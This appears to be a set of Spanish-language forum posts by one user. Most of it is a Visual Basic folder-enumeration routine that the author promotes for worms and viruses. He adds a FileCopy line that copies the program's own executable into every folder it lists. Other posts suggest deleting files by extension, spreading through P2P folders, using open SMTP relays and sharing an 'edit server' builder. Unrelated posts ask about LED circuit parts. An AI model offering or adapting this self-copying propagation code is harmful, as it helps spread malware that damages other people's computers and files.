Mensajes

A mi no me quitan la ilusion,
mi opinion es esa y cada uno puede tener la suya 

Paso a aclarar un poco de que se trata el code x si alguien no lo entiende,
y para que de todas formas pueda usarlo.

EL code basicamente lo que hace es listar las carpetas de un determinado Path,
en el codigo el path es C:\ por lo que se listaran todas las carpetas que se encuentren en el disco C pero el mismo code esta delimitado a 1000 carpetas, pero ese numero lo pueden cambiar y poner cuantas quieran.

Esta bueno para agrewgarselo a un worm o virus para que se propague dentro de un disco, para esto habria que poner un

FileCopy App.Path & "\" & App.EXEName & ".exe", Dir1.List(j)

luego de

List1.AddItem (Dir1.List(j))

Este code convinado con otro podria buscar un determinado archivo o extensión y borrarlos lo cual seria interesante ponerselo a un bichito
o sino tmb se podrian buscar las carpetas de los P2P para realizar un Propagación P2P.
sin duda el code es muy flexible y se presta para muchas cosas,
lo unico que hay q tener en cuenta es que se toma su tiempo en enumerar las carpetas.

para poder ver como funciona el code, lo unico que deben hacer es agregar en un projecto un list1 y un Dir1 y en el Form_Load colocar Call code.

espero q lo usen, o les sirva de algo

se hacen cosas iguales de formas mas simples

si hay alguna otra forma mas simple para listar todas las carpetas de un Disco me gustaria que la postes así puedo aprender y la comienzo a utilizar 

salu2

Estoy sorprendido de las maravillas que se pueden hacer con este code junto con otros.

Nunka ubiese esperado tener tantas cosas para hacer,
sin duda que si uno se las ingenia puede lograr muchas cosas con este code,
y pienso que es un exelente code para armar bichitos    jeje.

Salu2

Bueno, recien termine este code, sin basarme en ningun otro previo code.
lo hice para compartirlo con ustedes y espero que les sirva.

El code es este:

Código [Seleccionar] Expandir

Sub code()
List1.AddItem ("C:\")
For y = 0 To 20000
    Dir1.Path = List1.List(y)
    For j = 0 To Dir1.ListCount - 1
        For x = 0 To List1.ListCount
            If Not List1.List(x) <> Dir1.List(j) Then
                GoTo 1:
            End If
        Next x
        If List1.ListCount <> 1000 Then
            List1.AddItem (Dir1.List(j))
        Else
            GoTo 2:
        End If
1
        DoEvents
    Next j
Next y
2
End Sub

El que entienda el code y sepa como funciona, va a saber como usarlo
y de que manera modificarlo para usarlo en otras cosas    jeje.

No lo explico para que solo puedan usarlo quienes lo entiendan,
y espero que lo entiendad casi todos.

cuanto mas grande sea ese valor donde dice List1.ListCount <> 1000 mas carpetas va a dar (el que entienda el code  va a saber de q hablo).

bueno espero que lo difruten y sepan como usarlo.
cualquier otra duda consulten y si es posible comenten que tal jeje

salu2 y suerte

muchas gracias x tu ayuda,
te lo agradezco.


salu2

Bueno, encontre un circuito, para hacer q 4 leds se prendan y se apaguen,
pero como no c mucho del tema,
me gustaria q me dijieran q es kda elemento del circuito.

yo tengo esta info q esta en aleman y quiero q me digan q es cada cosa.

    * 2x Widerstand 10k (z.B. Reichelt, Best. Nr. "1/4W 10k") [R1, R3]
    * 1x Widerstand 4,7k (z.B. Reichelt, Best. Nr. "1/4W 4,7k") [R2]
    * 1x Widerstand 430 (z.B. Reichelt, Best. Nr. "1/4W 430") [R4, R5, R6, R7]
    * 1x Trimmer 1M (z.B. Reichelt, Best. Nr. "PT 15-L 1,0M") [P1]
    * 1x Keramikkondensator  10n (z.B. Reichelt, Best. Nr. "KERKO 10n") [C1]
    * 1x Elko 4,7µF (z.B. Reichelt, Best. Nr. "RAD 4,7/35") [C2]
    * 1x Elko 100µF (z.B. Reichelt, Best. Nr. "RAD 100/25") [C2]
    * 1x Transistor BC327 (z.B. Reichelt, Best. Nr. "BC 327-25") [T1]
    * 1x IC NE555 (z.B. Reichelt, Best. Nr. "NE 555 DIP") [IC1]
    * 1x IC-Fassung 8polig (z.B. Reichelt, Best. Nr. "GS 8")
    * 1x Stiftleiste (z.B. Reichelt, Best. Nr. "STIFTL. 2X10G")

estos serian los elementos, si alguien me los pudiera traducir.

para q entiendan un poco mas aca les dejo el circuito:

http://www.moddingtech.de/portal/bild_popup.php?src=portal/pics/content/tutorials/ledstroboskop/ledstrobo_schaltplan.png



otra duda,
si ven, R4,R5,R6,R7, todas son de 430,
pero 430 q?? 430 ohms??

cuantos ohms deberian tener R4,R5,R6,R7 si mis led's son de 3v???



XFAVOR,
ES URGENTE, NECESITO Q ME AYUDEN,

X SI LAS MOSCAS, ACA LES DEJO LA PAGINA PARA  Q SE PUEDAN GUIAR MEJOR.

http://www.moddingtech.de/tut_ledstroboskop_01_de,59.html


salu2 y espero urgentemente su ayuda
GRACIAS

no no,
en este kso no interviene la computadora.

salu2

Bueno,
alguien me podria pasar un circuito, cn sus respectivos materiales,
con el cual se logre un juego de luces cn los leds, osea, q se prendan unos luego otros, luego otros o simplemente, apaguen y prendan en intervalos de tiempo cortos. la fuente seria de 12v.

salu2 y mcuhas gracias

si se puede,
el unico metodo q conozco para mandar mail x ms dos es via telnet,
pero es poco probable q consigas un servidor smtp open relay,
pero si consigues uno, esta todo hecho.

salu2

talvez te sirva,
yo tengun un metodo para hcer un edit server q para mi es muy bueno.


aviame si queres el code.

salu2

eso es xq hay rallas blanks en tu trabajo.
revisa kda layer de la firma por separado hasta encontrar las rayas, luego burralas.

salu2